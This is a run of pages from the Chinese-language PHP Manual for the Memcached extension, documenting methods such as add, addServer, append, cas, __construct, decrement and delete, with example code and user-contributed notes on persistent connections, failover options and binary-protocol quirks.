  • Memcached::fetchAll — 读取所有剩余结果
  • Memcached::flush — 作废缓存中的所有元素
  • Memcached::get — 检索元素
  • Memcached::getAllKeys — Gets the keys stored on all the servers
  • Memcached::getByKey — 从特定的服务器检索元素
  • Memcached::getDelayed — 请求多个元素
  • Memcached::getDelayedByKey — 从指定的服务器上请求多个元素
  • Memcached::getMulti — 检索多个元素
  • Memcached::getMultiByKey — 从特定服务器检索多个元素
  • Memcached::getOption — 获取 Memcached 的选项值
  • Memcached::getResultCode — 返回最后一次操作的结果代码
  • Memcached::getResultMessage — 返回最后一次操作的结果描述消息
  • Memcached::getServerByKey — 获取一个 key 所映射的服务器信息
  • Memcached::getServerList — 获取服务器池中的服务器列表
  • Memcached::getStats — 获取服务器池的统计信息
  • Memcached::getVersion — 获取服务器池中所有服务器的版本信息
  • Memcached::increment — 增加数值元素的值
  • Memcached::incrementByKey — Increment numeric item's value, stored on a specific server
  • Memcached::isPersistent — Check if a persitent connection to memcache is being used
  • Memcached::isPristine — Check if the instance was recently created
  • Memcached::prepend — 向一个已存在的元素前面追加数据
  • Memcached::prependByKey — 在指定服务器上追加数据到已存在的元素
  • Memcached::quit — 关闭所有打开的链接
  • Memcached::replace — 替换已存在 key 下的元素
  • Memcached::replaceByKey — 在指定服务器上，替换已存在 key 下的元素
  • Memcached::resetServerList — Clears all servers from the server list
  • Memcached::set — 存储一个元素
  • Memcached::setByKey — 将元素存储到指定的服务器上
  • Memcached::setMulti — 存储多个元素
  • Memcached::setMultiByKey — 在指定服务器存储多个元素
  • Memcached::setOption — 设置一个 memcached 选项
  • Memcached::setOptions — Set Memcached options
  • Memcached::setSaslAuthData — Set the credentials to use for authentication
  • Memcached::touch — Set a new expiration on an item
  • Memcached::touchByKey — Set a new expiration on an item on a specific server

User Contributed Notes

There are no user contributed notes for this page.


向新 key 添加元素

  • ? Memcached
  • Memcached::addByKey ?
  • PHP Manual
  • Memcached
  • 向新 key 添加元素

Memcached::add

(PECL memcached >= 0.1.0)

Memcached::add — 向新 key 添加元素

说明

public Memcached::add(string $key, mixed $value, int $expiration = 0): bool

Memcached::add() 与 Memcached::set() 类似，但如果 key 已经在服务端存在，则操作失败。

参数

key

用于存储值的键名。

value

存储的值。

expiration

到期时间，默认为 0。 更多信息请参见到期时间。

返回值

成功时返回 true， 或者在失败时返回 false。 如果 key 已经存在，Memcached::getResultCode() 将会返回 Memcached::RES_NOTSTORED。

参见

  • Memcached::addByKey() - 在特定服务器上向新 key 添加元素
  • Memcached::set() - 存储一个元素
  • Memcached::replace() - 替换已存在 key 下的元素

User Contributed Notes

ilya dot chase at yandex dot ru 22-May-2019 08:57
Note that this operation is atomic, means that it's safe from race condition operation (since memcached is running in single process). You can use this method for locks and can be sure that two requests will not get "true" simultaneously using this method.
zhoujunwen888 at 126 dot com 17-Jun-2015 09:27
<?php
/**
 * Created by PhpStorm.
 * User: zhoujunwen
 * Date: 15/6/17
 * Time: 下午4:51
 */
    $mem  = new Memcached();

    $mem->addServer('127.0.0.1',11211);
    if( $mem->add("mystr","this is a memcache test!",3600)){
        echo  '原始数据缓存成功!';
    }else{
        echo '数据已存在：'.$mem->get("mystr");
    }

?>


在特定服务器上向新 key 添加元素

  • ? Memcached::add
  • Memcached::addServer ?
  • PHP Manual
  • Memcached
  • 在特定服务器上向新 key 添加元素

Memcached::addByKey

(PECL memcached >= 0.1.0)

Memcached::addByKey — 在特定服务器上向新 key 添加元素

说明

public Memcached::addByKey(
string $server_key,
string $key,
mixed $value,
int $expiration = 0
): bool

Memcached::addByKey() 在功能上等同于 Memcached::add()，只是可以自由的指定 server_key 用于将 key 映射到特定的服务器。如果需要将一堆相关的 key 保存在特定的服务器时非常有用。(译注: $server_key 也是普通的 key, ByKey 系列接口的工作过程是: 首先, 对 $server_key 进行 hash, 得到 $server_key 应该存储的服务器, 然后将相应的操作在 $server_key 所在的服务器上进行。)

参数

server_key

本键名用于识别储存和读取值的服务器。没有将实际的键名散列到具体的项目，而是在决定与哪一个 memcached 服务器通信时将其散列为服务器键名。这使得关联的项目在单一的服务上被组合起来以提高多重操作的效率。

key

用于存储值的键名。

value

存储的值。

expiration

到期时间，默认为 0。 更多信息请参见到期时间。

返回值

成功时返回 true， 或者在失败时返回 false。如果 key 已经存在，Memcached::getResultCode() 将会返回 Memcached::RES_NOTSTORED。

参见

  • Memcached::add() - 向新 key 添加元素
  • Memcached::set() - 存储一个元素
  • Memcached::replace() - 替换已存在 key 下的元素

User Contributed Notes

There are no user contributed notes for this page.


向服务器池增加服务器

  • ? Memcached::addByKey
  • Memcached::addServers ?
  • PHP Manual
  • Memcached
  • 向服务器池增加服务器

Memcached::addServer

(PECL memcached >= 0.1.0)

Memcached::addServer — 向服务器池增加服务器

说明

public Memcached::addServer(string $host, int $port, int $weight = 0): bool

Memcached::addServer() 增加指定服务器到服务器池。此时不会与服务端建立连接，但如果使用一致性
key 分发选项（Memcached::DISTRIBUTION_CONSISTENT 或
Memcached::OPT_LIBKETAMA_COMPATIBLE），则必须更新一些内部的数据结构。 因此，如果需要增加多台服务器，最好使用
Memcached::addServers() 以确保这种更新只发生一次。

同一台服务器可以在服务器池中多次出现，因为没有做重复检测。但并不推荐这样做，对于期望提高某台服务器的权重，请使用 weight 参数。

参数

host

memcached 服务端主机名。如果主机名无效，相关的数据操作的结果代码将被设置为 Memcached::RES_HOST_LOOKUP_FAILURE。从 2.0.0b1 版本开始，这个参数还可以指定 unix 套接字文件的路径。例如：/path/to/memcached.sock 使用 UNIX 域套接字，在这种情况下 port 也必须设置为 0。

port

运行 memcached 的端口号，通常是 11211。从版本 2.0.0b1 开始，在使用 UNIX 域套接字时将此参数设置为 0。

weight

此服务器相对于服务器池中所有服务器的权重。此参数用来控制服务器在操作时被选中的概率。这个仅用于一致性分布选项，并且这个值通常是由服务端分配的内存来设置的。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Memcached::addServer() 示例

<?php
$m = new Memcached();

/* Add 2 servers, so that the second one
is twice as likely to be selected. */
$m->addServer('mem1.domain.com', 11211, 33);
$m->addServer('mem2.domain.com', 11211, 67);
?>

参见

  • Memcached::addServers() - 向服务器池中增加多台服务器
  • Memcached::resetServerList() - Clears all servers from the server list

User Contributed Notes

Dave 20-Nov-2012 10:42
As of version 2.0.0b1 you can use Unix socket.

<?php
$m = new Memcached();
$m->addServer('/path/to/socket',0);
?>

Not to be confused with Memcache that use 'unix:///path/to/socket'
mbarriolinares at gmail dot com 10-Sep-2012 06:55
Important to not call ->addServers() every run -- only call it if no servers exist (check getServerList() ); otherwise, since addServers() does not check for dups, it will let you add the same server again and again and again, resultings in hundreds if not thousands of connections to the MC daemon. Specially when using FastCGI.

Example:

<?php
class Cache {
        private $id;
        private $obj;

        function __construct($id){
                $this->id = $id;
                $this->obj = new Memcached($id);
        }

        public function connect($host , $port){
                $servers = $this->obj->getServerList();
                if(is_array($servers)) {
                        foreach ($servers as $server)
                                if($server['host'] == $host and $server['port'] == $port)
                                        return true;
                }
                return $this->obj->addServer($host , $port);
        }

}
?>
Robbie De Lise 22-Aug-2011 10:08
On my Debian Squeeze system I was getting WRITE FAILURE errors. After debugging and finally tcpdump it seems that the problem was me adding the server 'localhost', which resolved to '::1' (ipv6) while the default memcached server on debian only listens to '127.0.0.1' (ipv4). DNS automatically prefers ipv6 over ipv4.

I added the server '127.0.0.1' instead and everything worked. You could also disable ipv6 or have memcached listen on ::1


向服务器池中增加多台服务器

  • ? Memcached::addServer
  • Memcached::append ?
  • PHP Manual
  • Memcached
  • 向服务器池中增加多台服务器

Memcached::addServers

(PECL memcached >= 0.1.1)

Memcached::addServers — 向服务器池中增加多台服务器

说明

public Memcached::addServers(array $servers): bool

Memcached::addServers() 向服务器池中增加 servers。servers 中的每个条目都应该是包含主机名、端口以及可选权重的数组。此时并不会与这些服务端建立连接。

同一台服务器可能会在服务器池中多次出现，因为这里没有做重复检测。但这并不可取；相反，应该使用 weight 选项增加此服务器的选择权重。

参数

array

增加到池中的服务器数组。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Memcached::addServers() 示例

<?php
$m = new Memcached();

$servers = array(
array('mem1.domain.com', 11211, 33),
array('mem2.domain.com', 11211, 67)
);
$m->addServers($servers);
?>

参见

  • Memcached::addServer() - 向服务器池增加服务器
  • Memcached::resetServerList() - Clears all servers from the server list

User Contributed Notes

Aliaser 03-Mar-2016 07:44
For a proper FailOver mechanism:

$memcached = new Memcached();
$memcached->setOption(Memcached::OPT_CONNECT_TIMEOUT, 10);
$memcached->setOption(Memcached::OPT_DISTRIBUTION, Memcached::DISTRIBUTION_CONSISTENT);
$memcached->setOption(Memcached::OPT_SERVER_FAILURE_LIMIT, 2);
$memcached->setOption(Memcached::OPT_REMOVE_FAILED_SERVERS, true);
$memcached->setOption(Memcached::OPT_RETRY_TIMEOUT, 1);
$memcached->addServers($servers);

Memcached::OPT_DISTRIBUTION: set it to consistent hashing. If one memcached node is dead, its keys (and only its keys) will be evenly distributed to other nodes. This is where the magic is done. This is really different from removing one server in your ->addServers() call.

Memcached::OPT_SERVER_FAILURE_LIMIT: number of connection issues before a server is marked as DEAD, and removed from the list of servers (default: 5).

Memcached::OPT_REMOVE_FAILED_SERVERS: set it to ?true?, to enable the removal of dead servers.

Memcached::OPT_RETRY_TIMEOUT: after a node is declared DEAD, libmemcached will try it again after that many seconds. Here I've set it to 1 second, but I'm working on PHP scripts that run for less than 100ms most of the time. That would only be useful for cron/daemonize scripts.

Memcached::OPT_CONNECT_TIMEOUT: the timeout after which a server is considered DEAD. As my servers are on the same LAN, ping is ~0.5ms, so 10ms is large enough to consider the server is DEAD. Note that you have to wait twice that time before a node is marked DEAD, so if it's 1000ms, your script will lock for 2 seconds before ignoring the DEAD server. That may affect your response times a lot, and that's why I've set it very low

Author of this is Yvan from Dugwood
Michael Brenden 17-Feb-2011 03:27
See the note for __construct()

Important to not call ->addServers() every run -- only call it if no servers exist (check getServerList() ); otherwise, since addServers() does not check for dups, it will let you add the same server again and again and again, resultings in hundreds if not thousands of connections to the MC daemon.


向已存在元素追加数据

  • ? Memcached::addServers
  • Memcached::appendByKey ?
  • PHP Manual
  • Memcached
  • 向已存在元素追加数据

Memcached::append

(PECL memcached >= 0.1.0)

Memcached::append — 向已存在元素追加数据

说明

public Memcached::append(string $key, string $value): ?bool

Memcached::append() 向已存在的元素值末尾追加 value 字符串。value 强制为字符串的原因是因为对于 mix 类型的追加没有明确定义。

Note:

如果启用 Memcached::OPT_COMPRESSION，该操作将会失败并引发警告，因为无法向已压缩的数据追加压缩数据。

参数

key

用于存储值的键名。

value

将要追加的值。

返回值

成功时返回 true， 或者在失败时返回 false。 当打开压缩时，返回 null。

错误／异常

当压缩启用时返回 null 并引发 E_WARNING。

示例

Example #1 Memcached::append() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->setOption(Memcached::OPT_COMPRESSION, false);

$m->set('foo', 'abc');
$m->append('foo', 'def');
var_dump($m->get('foo'));
?>

以上示例会输出：

string(6) "abcdef"

参见

  • Memcached::appendByKey() - 向指定服务器上已存在元素追加数据
  • Memcached::prepend() - 向一个已存在的元素前面追加数据

User Contributed Notes

mattsch at gmail dot com 31-Mar-2015 01:48
This method emits this php warning if OPT_COMPRESSION is not explicitly set to false (tested with libmemcached 1.0.18 & pecl-memcached 2.1.0):

PHP Warning:  Memcached::append(): cannot append/prepend with compression turned on


向指定服务器上已存在元素追加数据

  • ? Memcached::append
  • Memcached::cas ?
  • PHP Manual
  • Memcached
  • 向指定服务器上已存在元素追加数据

Memcached::appendByKey

(PECL memcached >= 0.1.0)

Memcached::appendByKey — 向指定服务器上已存在元素追加数据

说明

public Memcached::appendByKey(string $server_key, string $key, string $value): ?bool

Memcached::appendByKey() 在功能上等同于 Memcached::append()。区别在于使用 server_key 可以自由的将 key 映射到指定服务器。

参数

server_key

本键名用于识别储存和读取值的服务器。没有将实际的键名散列到具体的项目，而是在决定与哪一个 memcached 服务器通信时将其散列为服务器键名。这使得关联的项目在单一的服务上被组合起来以提高多重操作的效率。

key

用于存储值的键名。

value

要追加的字符串。

返回值

成功时返回 true， 或者在失败时返回 false。 当打开压缩时，返回 null。

错误／异常

当压缩启用时返回 null 并引发 E_WARNING。

参见

  • Memcached::append() - 向已存在元素追加数据
  • Memcached::prepend() - 向一个已存在的元素前面追加数据

User Contributed Notes

There are no user contributed notes for this page.


比较并交换值

  • ? Memcached::appendByKey
  • Memcached::casByKey ?
  • PHP Manual
  • Memcached
  • 比较并交换值

Memcached::cas

(PECL memcached >= 0.1.0)

Memcached::cas — 比较并交换值

说明

public Memcached::cas(
string|int|float $cas_token,
string $key,
mixed $value,
int $expiration = 0
): bool

Memcached::cas() 执行"检查并设置"的操作，因此仅在当前客户端最后一次取值后，该 key 对应的值没有被其他客户端修改的情况下，才能够将值写入。检查是通过 cas_token 参数进行的，这个参数是 memcache 分配给已存在元素的唯一 64 位值。怎样获取这个值请查看 Memcached::get*() 系列方法的文档。注意：这个值作为 float 类型是因为 PHP 的整型空间限制。

译注：这是 Memcached 扩展比 Memcache 扩展一个非常重要的优势，在这样一个系统级（Memcache 自身提供）的冲突检测机制（乐观锁）下，才能保证高并发下的数据安全。

参数

cas_token

与已存在元素关联的唯一的值，由 Memcache 生成。

key

用于存储值的键名。

value

存储的值。

expiration

到期时间，默认为 0。 更多信息请参见到期时间。

返回值

成功时返回 true， 或者在失败时返回 false。 如果在元素尝试存储时发现在本客户端最后一次获取后被其他客户端修改，Memcached::getResultCode() 将返回 Memcached::RES_DATA_EXISTS。

示例

Example #1 Memcached::cas() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

do {
/* 获取ip列表以及它的标记 */
$ips = $m->get('ip_block', null, $cas);
/* 如果列表不存在， 创建并进行一个原子添加（如果其他客户端已经添加， 这里就返回false）*/
if ($m->getResultCode() == Memcached::RES_NOTFOUND) {
$ips = array($_SERVER['REMOTE_ADDR']);
$m->add('ip_block', $ips);
/* 其他情况下，添加ip到列表中， 并以cas方式去存储， 这样当其他客户端修改过， 则返回false */
} else {
$ips[] = $_SERVER['REMOTE_ADDR'];
$m->cas($cas, 'ip_block', $ips);
}
} while ($m->getResultCode() != Memcached::RES_SUCCESS);

?>

参见

  • Memcached::casByKey() - 在指定服务器上比较并交换值

User Contributed Notes

Haravikk 18-Aug-2017 07:26
I'm not sure whether this remains true in the newer versions of the Memcached module (v3.0 onwards) but in the version shipped with PHP 5.6 the return value and result code when using this method with OPT_BINARY_PROTOCOL enabled are entirely useless.

Setting a value successful may return true, with a result code of RES_END, but it may also return true with a result code of RES_SUCCESS.

However, *unsuccessfully* setting a value likewise seems to return true and RES_SUCCESS, effectively rendering this function's return value useless with the binary protocol enabled as it is impossible to distinguish success from failure.

If you need to rely on the return value of this method then I strongly recommend disabling the binary protocol under PHP 5.6, as in its current state the common memcached module is too broken otherwise for CAS usage.

Hopefully someone else can weigh in on whether this is still broken in newer versions or not.
php at sergentet dot fr 25-May-2017 09:59
To prevent a perpetual loop on any Memcached error, you can add a simple counter :

$security_count = 0;

do {
        //[]....
        $security_loop++
        if ($security_loop > 10) {
                break;     //( or return "your return value" on a function )
        }
} while ($m->getResultCode() != Memcached::RES_SUCCESS);
sparcbr at gmail dot com 11-Oct-2016 04:11
Do not check command success in a while loop with something like

$memCached->getResultCode() != Memcached::RES_SUCCESS

Memcached::RES_SERVER_ERROR or anything like this and your script will loop forev
abodera at gmail dot com 27-Apr-2010 01:19
Watch out!

When using binary protocol, the expected result after cas() is 21 (Memcached::RES_END).

For example, to make the above example #1 work with binary protocol, use the following:
<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->setOption(Memcached::OPT_BINARY_PROTOCOL,true)

// [...]

    } else {
        $ips[] = $_SERVER['REMOTE_ADDR'];
        $m->cas($cas, 'ip_block', $ips);
    }
} while ($m->getResultCode() != Memcached::RES_END);
?>


在指定服务器上比较并交换值

  • ? Memcached::cas
  • Memcached::__construct ?
  • PHP Manual
  • Memcached
  • 在指定服务器上比较并交换值

Memcached::casByKey

(PECL memcached >= 0.1.0)

Memcached::casByKey — 在指定服务器上比较并交换值

说明

public Memcached::casByKey(
string|int|float $cas_token,
string $server_key,
string $key,
mixed $value,
int $expiration = 0
): bool

除了可以使用 server_key 将 key 自由的映射到指定服务器外， Memcached::casByKey() 和 Memcached::cas() 在功能上是等同的。 这通常用于需要保持一批相关的 key 在一个中心服务器上的情况。

参数

cas_token

与已存在元素关联的唯一的值，由 Memcache 生成。

server_key

本键名用于识别储存和读取值的服务器。没有将实际的键名散列到具体的项目，而是在决定与哪一个 memcached 服务器通信时将其散列为服务器键名。这使得关联的项目在单一的服务上被组合起来以提高多重操作的效率。

key

用于存储值的键名。

value

存储的值。

expiration

到期时间，默认为 0。 更多信息请参见到期时间。

返回值

成功时返回 true， 或者在失败时返回 false。 如果在元素尝试存储时发现在本客户端最后一次获取后被其他客户端修改，Memcached::getResultCode() 将返回 Memcached::RES_DATA_EXISTS。

参见

  • Memcached::cas() - 比较并交换值

User Contributed Notes

There are no user contributed notes for this page.


创建 Memcached 实例

  • ? Memcached::casByKey
  • Memcached::decrement ?
  • PHP Manual
  • Memcached
  • 创建 Memcached 实例

Memcached::__construct

(PECL memcached >= 0.1.0)

Memcached::__construct — 创建 Memcached 实例

说明

public Memcached::__construct(?string $persistent_id = null, ?callable $callback = null, ?string $connection_str = null)

创建 Memcached 实例表示连接到 Memcached 服务端。

Warning

本函数还未编写文档，仅有参数列表。

参数

persistent_id

默认情况下，在请求结束后会销毁 Memcached 实例。但可以在创建时通过 persistent_id 为每个实例指定唯一的 ID，在请求间共享实例。所有通过相同的 persistent_id 值创建的实例共享同一个连接。

callback

connection_str

示例

Example #1 创建 Memcached 对象

<?php
/* 创建一个普通的对象 */
$m = new Memcached();
echo get_class($m);

/* 创建持久化对象 */
$m2 = new Memcached('story_pool');
$m3 = new Memcached('story_pool');

/* 现在$m2和$m3共享相同的连接 */
?>

User Contributed Notes

kangzjnet at gmail dot com 21-Jan-2013 09:29
To enable automatic failover, you have to set OPT_REMOVE_FAILED_SERVERS option, which is supported by php-memcached 2.0.0b2 or above.

Here is the example,
<?php
$memcache = new Memcached ( 'a_mem_pool' );
$ss = $memcache->getServerList ();
if (empty ( $ss )) {
$memcache->setOption(Memcached::OPT_RECV_TIMEOUT, 1000);
$memcache->setOption(Memcached::OPT_SEND_TIMEOUT, 1000);
$memcache->setOption(Memcached::OPT_TCP_NODELAY, true);
$memcache->setOption(Memcached::OPT_SERVER_FAILURE_LIMIT, 50);
$memcache->setOption(Memcached::OPT_CONNECT_TIMEOUT, 500);
$memcache->setOption(Memcached::OPT_RETRY_TIMEOUT, 300);
$memcache->setOption(Memcached::OPT_DISTRIBUTION, Memcached::DISTRIBUTION_CONSISTENT);
$memcache->setOption(Memcached::OPT_REMOVE_FAILED_SERVERS, true);
$memcache->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);
$memcache->addServer ( '10.10.1.75', 11211, 1 );
$memcache->addServer ( '10.10.1.76', 11211, 1 );
$memcache->addServer ( '10.10.1.77', 11211, 1 );
}
?>
enknamel AT gmail DOT com 13-Dec-2011 02:53
This was causing me to tear my hair out since I listened to the comments posted here.

If you enable persistence, the options you set will persist as well AND certain options if you set them with persistence enabled WILL CLOSE ALL YOUR PERSISTED CONNECTIONS. This is a part of libmemcached that the memcached extensions is built against. You can verify this by running strace.

So this is what you should do:

<?php

$mem = new Memcached($myPoolId);

if(empty($mem->getServerList())) {
    //This code block will only execute if we are setting up a new EG(persistent_list) entry
    $mem->setOption(Memcached::OPT_RECV_TIMEOUT, 1000);
    $mem->setOption(Memcached::OPT_SEND_TIMEOUT, 3000);
    $mem->setOption(Memcached::OPT_TCP_NODELAY, true);
    $mem->setOption(Memcached::OPT_PREFIX_KEY, "md_");
    $mem->addServer($myMemcahceIp, $myMemcachePort);
}

?>
clancy hood at gmail dot com 04-Jun-2011 01:32
If you're wanting to get started with Memcached on a relatively small project but need some scalability then it can make sense to allow $persistent_id to also denote both a key prefix and a server set which you define yourself.  This keeps both key separation and allocation of data sets to certain server(s) incredibly simple throughout the project's life, without hampering any of your options.

<?php

    // Here is the array which we will add to in the future
    $GLOBALS['memcached-sets'] = array (
        '_' => array (
            array('localhost', 11211)
        )
    );

    define('DEFAULT_MEMCACHED_SET', '_');

    function mcache( $persistent_id=DEFAULT_MEMCACHED_SET ) {

        // one instantiation per-connection per-request
        static $memcached_instances = array();

        if( array_key_exists($persistent_id, $memcached_instances)) {
            $instance = $memcached_instances[$persistent_id];
        }else{
            $instance = new Memcached($persistent_id);
            $instance->setOption(Memcached::OPT_PREFIX_KEY, $persistent_id);
            $instance->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true); // advisable option

            // Add servers if no connections listed. Get server set by $persistent_id or use default set.
            // In a production environment with multiple server sets you may wish to prevent typos from silently adding data
            // to the default pool, in which case return an error on no match instead of defaulting
            if( !count($instance->getServerList()) ) {
                $servers = array_key_exists($persistent_id, $GLOBALS['memcached-sets'])
                    ? $GLOBALS['memcached-sets'][$persistent_id]
                    : $GLOBALS['memcached-sets'][DEFAULT_MEMCACHED_SET];
                $instance->addServers($servers);
            }

            $memcached_instances[$persistent_id] = $instance;
        }
        return $instance;
    }

    // simple example
    mcache()->set('foo', 'bar');
    mcache('myset')->set('foo', 'baz');

    var_dump(mcache()->get('foo'), mcache('myset')->get('foo'));

?>

string(3) "bar"
string(3) "baz"

Just remember to keep your $persistent_ids short as they infringe upon your maximum key length.  Happy coding! :)
Tobias 17-Feb-2011 07:24
Note that with this Memcached interface, if one or more underlying memcached daemons are down, suffering high network latency (over 1 second by default), or have crashed, then there still will be no warning, no error, no notice.  Everything will appear to work correctly, you just won't get proper results back.
Tobias 17-Feb-2011 03:48
Not positive, but it seems like the __construct() creates an instance of Memcache() class that lives (and stays alive) in at least the child Apache procs, if not the main Apache proc.

This (seems to) mean that Memcache daemons added to the server "pool" (via ->addServers() ) stay remembered.

This is why you do not want to call ->addServers() every time your script runs, because ->addServers() does not check for dups and will add hundreds or thousands of connections to the memcached daemon proc from the Apache proc(s).

One side effect is that any other scripts (even across different website domains) can also add to your server "pool" (if they know the server pool name, or if they can get it from the memcached daemon itself (not sure if/how this is possible), or if you or your team has coded several sites using the same server pool (i.e., new Memcached( 'same-server-pool-name' ) ).  This may present a security hole.
jeroen at 4worx dot com 16-Nov-2009 02:51
Using multiple memcached instances with options in combination with persistent connections might be confusing:

<?php

$a = new Memcached('memcached_pool');
$a->setOption(Memcached::OPT_COMPRESSION, false);

$b = new Memcached('memcached_pool');
$b->setOption(Memcached::OPT_COMPRESSION, true);

$a->add('key', 'some data');

?>

You might think that connection $a will store everything uncompressed, but this is not the case.
The persistent connection options are changed by the second object creation.
tschundler at gmail dot com 15-Sep-2009 02:43
When using persistent connections, it is important to not re-add servers.

This is what you do not want to do:
<?php
$mc = new Memcached('mc');
$mc->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);
$mc->addServers(array(
    array('mc1.example.com',11211),
    array('mc2.example.com',11211),
));
?>
Every time the page is loaded those servers will be appended to the list resulting in many simultaneous open connections to the same server. The addServer/addServers functions to not check for existing references to the specified servers.

A better approach is something like:
<?php
$mc = new Memcached('mc');
$mc->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);
if (!count($mc->getServerList())) {
    $mc->addServers(array(
        array('mc1.example.com',11211),
        array('mc2.example.com',11211),
    ));
}
?>


减小数值元素的值

  • ? Memcached::__construct
  • Memcached::decrementByKey ?
  • PHP Manual
  • Memcached
  • 减小数值元素的值

Memcached::decrement

(PECL memcached >= 0.1.0)

Memcached::decrement — 减小数值元素的值

说明

public Memcached::decrement(
string $key,
int $offset = 1,
int $initial_value = 0,
int $expiry = 0
): int|false

Memcached::decrement() 减小数值元素的值，减小多少由参数 offset 决定。如果元素的值不是数值，则会导致错误。如果减小后的值小于 0,则新值会设为 0。如果键不存在，Memcached::decrement() 会将元素设置为 initial_value 参数。

参数

key

将要减小值的元素的 key。

offset

要减少的元素值要减少的数量。

initial_value

如果 key 不存在的时候设置到元素的值。

expiry

设置的元素过期时间。

返回值

成功时返回元素的新值， 或者在失败时返回 false。

示例

Example #1 Memcached::decrement() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('counter', 5);
$n = $m->decrement('counter');
var_dump($n);

$n = $m->decrement('counter', 10);
var_dump($n);

var_dump($m->get('counter'));

$m->set('counter', 'abc');
$n = $m->increment('counter');
// ^ will fail due to item value not being numeric
var_dump($n);
?>

以上示例会输出：

int(4)
int(0)
int(0)
bool(false)

参见

  • Memcached::increment() - 增加数值元素的值
  • Memcached::incrementByKey() - Increment numeric item's value, stored on a specific server
  • Memcached::decrementByKey() - Decrement numeric item's value, stored on a specific server

User Contributed Notes

Pramod Patil 12-Sep-2014 06:48
Found possible bug :
decrement fails and returns -1  when memcached::OPT_BINARY_PROTOCOL is set to true.

tested on PECL Memcached 2.1.0 and libmemcached version 1.0.8
Pramod Patil 08-Sep-2014 11:54
decrement will not change TTL of the stored key/value.
jbaginski 18-Jan-2013 07:31
PECL memcached < 0.2.0

public int Memcached::decrement ( string $key [, int $offset = 1 ] )


Decrement numeric item's value, stored on a specific server

  • ? Memcached::decrement
  • Memcached::delete ?
  • PHP Manual
  • Memcached
  • Decrement numeric item's value, stored on a specific server

Memcached::decrementByKey

(PECL memcached >= 2.0.0)

Memcached::decrementByKey — Decrement numeric item's value, stored on a specific server

说明

public Memcached::decrementByKey(
string $server_key,
string $key,
int $offset = 1,
int $initial_value = 0,
int $expiry = 0
): int|false

Memcached::decrementByKey() decrements a numeric item's value by the specified offset. If the item's value is not numeric, an error will result. If the operation would decrease the value below 0, the new value will be 0. Memcached::decrementByKey() will set the item to the initial_value parameter if the key doesn't exist.

参数

server_key

本键名用于识别储存和读取值的服务器。没有将实际的键名散列到具体的项目，而是在决定与哪一个 memcached 服务器通信时将其散列为服务器键名。这使得关联的项目在单一的服务上被组合起来以提高多重操作的效率。

key

The key of the item to decrement.

offset

The amount by which to decrement the item's value.

initial_value

The value to set the item to if it doesn't currently exist.

expiry

The expiry time to set on the item.

返回值

Returns item's new value on success 或者在失败时返回 false.

参见

  • Memcached::decrement() - 减小数值元素的值
  • Memcached::increment() - 增加数值元素的值
  • Memcached::incrementByKey() - Increment numeric item's value, stored on a specific server

User Contributed Notes

There are no user contributed notes for this page.


删除元素

  • ? Memcached::decrementByKey
  • Memcached::deleteByKey ?
  • PHP Manual
  • Memcached
  • 删除元素

Memcached::delete

(PECL memcached >= 0.1.0)

Memcached::delete — 删除元素

说明

public Memcached::delete(string $key, int $time = 0): bool

从服务器上删除 key。

参数

key

要删除的 key。

time

服务端等待删除该元素的总时间。

Note: As of memcached 1.3.0 (released 2009) this feature is no longer supported. Passing a non-zero time will cause the deletion to fail. Memcached::getResultCode() will return MEMCACHED_INVALID_ARGUMENTS.

返回值

成功时返回 true， 或者在失败时返回 false。 如果 key 不存在, Memcached::getResultCode() 将会返回 Memcached::RES_NOTFOUND。

示例

Example #1 Memcached::delete() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->delete('key1');
?>

参见

  • Memcached::deleteByKey() - 从指定的服务器删除元素
  • Memcached::deleteMulti() - Delete multiple items

User Contributed Notes

Pramod Patil 12-Sep-2014 07:09
--For PECL memcached 2.10--
delete used with second argument 'time' returns false and set the error code and message for invalid arguments unless used without Memcached::OPT_BINARY_PROTOCOL.

getResultCode() and getResultMessage() returns  38 and INVALID ARGUMENTS respectively.


从指定的服务器删除元素

  • ? Memcached::delete
  • Memcached::deleteMulti ?
  • PHP Manual
  • Memcached
  • 从指定的服务器删除元素

Memcached::deleteByKey

(PECL memcached >= 0.1.0)

Memcached::deleteByKey — 从指定的服务器删除元素

说明

public Memcached::deleteByKey(string $server_key, string $key, int $time = 0): bool

Memcached::deleteByKey() 除了可以通过 server_key 参数自由的指定 key 所映射的服务器外，在功能上等同于 Memcached::delete()。

参数

server_key

本键名用于识别储存和读取值的服务器。没有将实际的键名散列到具体的项目，而是在决定与哪一个 memcached 服务器通信时将其散列为服务器键名。这使得关联的项目在单一的服务上被组合起来以提高多重操作的效率。

key

要删除的 key。

time

服务端等待删除该元素的总时间。

Note: As of memcached 1.3.0 (released 2009) this feature is no longer supported. Passing a non-zero time will cause the deletion to fail. Memcached::getResultCode() will return MEMCACHED_INVALID_ARGUMENTS.

返回值

成功时返回 true， 或者在失败时返回 false。 如果 key 不存在，Memcached::getResultCode() 返回 Memcached::RES_NOTFOUND。

参见

  • Memcached::delete() - 删除元素
  • Memcached::deleteMulti() - Delete multiple items
  • Memcached::deleteMultiByKey() - Delete multiple items from a specific server

User Contributed Notes

There are no user contributed notes for this page.


Delete multiple items

  • ? Memcached::deleteByKey
  • Memcached::deleteMultiByKey ?
  • PHP Manual
  • Memcached
  • Delete multiple items

Memcached::deleteMulti

(PECL memcached >= 2.0.0)

Memcached::deleteMulti — Delete multiple items

说明

public Memcached::deleteMulti(array $keys, int $time = 0): array

Delete the array of keys from the server.

参数

keys

The keys to be deleted.

time

The amount of time the server will wait to delete the items.

Note: As of memcached 1.3.0 (released 2009) this feature is no longer supported. Passing a non-zero time will cause the deletion to fail. Memcached::getResultCode() will return MEMCACHED_INVALID_ARGUMENTS.

返回值

Returns an array indexed by keys. Each element is true if the corresponding key was deleted, or one of the Memcached::RES_* constants if the corresponding deletion failed.

The Memcached::getResultCode() will return the result code for the last executed delete operation, that is, the delete operation for the last element of keys.

参见

  • Memcached::delete() - 删除元素
  • Memcached::deleteByKey() - 从指定的服务器删除元素
